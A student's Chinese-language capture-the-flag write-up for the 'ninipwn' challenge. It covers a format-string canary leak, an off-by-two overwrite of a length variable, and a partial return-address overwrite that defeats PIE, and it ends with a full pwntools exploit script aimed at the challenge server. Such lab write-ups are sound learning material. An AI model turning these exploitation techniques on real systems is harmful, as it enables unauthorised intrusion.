这算是赛后总结吧,学长说对新手很友好,我看不出来,只能说真的很”友好”。

这次虽然只做出一道题,但是总的来说收获还是非常多的

ninipwn

这道题思路还是比较清晰的,主要还是脚本十分难写

首先check一下

image-20240121214012422

发现是64位的然后保护全开,主要是注意PIE和Canary保护

IDA静态分析

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
disable_io_buffering(); //初始化
puts("XOR encryption service");
encryption_service(); //加密
return 0;
}

没什么东西,就一个初始化和加密函数

显然加密函数才是我们要注意的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 encryption_service()
{
char buf[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v2; // [rsp+108h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Text length: ");
__isoc99_scanf("%d");
getchar();
if ( (unsigned int)text_length < 0x101 )
{
printf("Key: ");
read(0, key, 0xAuLL);
printf("Key selected: ");
printf(key); //可能fmt
putchar(10);
printf("Text: ");
read(0, buf, text_length); //向栈上写
encrypt((__int64)buf);
printf("Encrypted output: ");
write(1, buf, text_length); //可能fmt
}
else
{
puts("Text length must be less than 256");
}
return v2 - __readfsqword(0x28u);
}

首先能我们会看到一些比较显眼的漏洞,就是第一个printf(key); 这个明显key是可控的,有着一个格式化字符串漏洞

然后key是一个char[8]型的然而能输入0xA个字符,显然数组越界

再深入探查的话image-20240121214710570

会发现text_length的前两位是可以覆盖的,然后由于是小端存储 而且题目限定text_length我们输入进去的要小于0x101,因此覆盖的两位就是我们的text_length大小这点很重要,是整道题目的核心


这里插入一点:

在ida里,一个指针长度存储两个16进制值,例如0x4050上可能存储的是0x19等,因此上面text_length覆盖两个指针长度其实覆盖了4个16进制数


1
read(0, buf, text_length); 

有了text_length的覆盖那么这段的text_length的大小就是可控的,而buf段位于栈上,因此有显然的栈溢出的漏洞,所以本题的核心就是覆盖返回地址

但是其中还有很多细节需要注意,就是本题开启了Canary保护,我们要绕过该保护,而PIE保护也要绕过,PIE使得整个可执行文件可以被加载到随机的地址,但是后12位(64位)无论是ASLR或者PIE都不会改变

但是本题目,覆盖的时候,只需要覆盖后8位即可更简便image-20240121220314128

image-20240121220337900

可以看到只有后8位不一样,因此只需要覆盖后八位即可,这样既方便又可以绕过PIE保护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall encrypt(__int64 a1)
{
__int64 result; // rax
int i; // [rsp+14h] [rbp-4h]

for ( i = 0; ; ++i )
{
result = (unsigned int)text_length;
if ( i >= text_length )
break;
*(_BYTE *)(i + a1) ^= key[i % 8];
}
return result;
}

这是其中的加密函数,可以看到会加密text_length大小的内容,因此我们输入多少它加密多少,而这个是异或,就可以通过二次异或来返回原值

而Canary则通过那个格式化字符串漏洞泄露,Canary一般是在ebp-0x8的位置

因此可以通过%xxx$p来泄露Canary的值

大致的思路就这样

附上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
python
from pwn import *
#sh=process('./ninipwn')
sh=remote('3.75.185.198',7000)
context.log_level='debug'
#win_addr=0x1433
sh.recvuntil(b'Text length: ')
sh.sendline(b'25')
sh.recvuntil(b'Key: ')
key=b'%039$paa\x19\x01'
sh.send(key)
sh.recvuntil(b'0x')
recv_data=sh.recv()
canary_data=recv_data[:16]
print(canary_data)
#text
payload=p64(int(canary_data,16))+p64(0)+b'\x33'
pay=''
for i in range(264):
pay+=chr((31^key[i%8])) ##chr是将整数转换为字符数组

for i in range(17):
pay+=chr((payload[i]^key[i%8]))


sh.send(pay)

sh.interactive()

写exp的总结:

  1. recv下来的东西,是字符串,不是整数,例如0x273437,他是一个长度8的字符串,因此需要等到0x再切片
  2. send的东西,最后是字节序列,但字符串也是可以的
  3. b’内容’该内容全部被转换位ASCII码的形式,如果想要输出01那么需要使用\x01来实现、
  4. 字节序列就是0到ff的整形构成的数组
  5. canary截取下来是字符串类型,而其中的值需要转换成qword的形式,那么先用int来将将十六进制字符串转换为64位整数,之后再用p64一步搞定

最后,虽然只能做出一题,但是其中的过程还是值得回味的,无论是失败还是成功,享受这个过程就可以,这道题能做出来学长居功至伟,解答了我非常多的问题,让我成长了许多,我将会继续学习,继续进步的。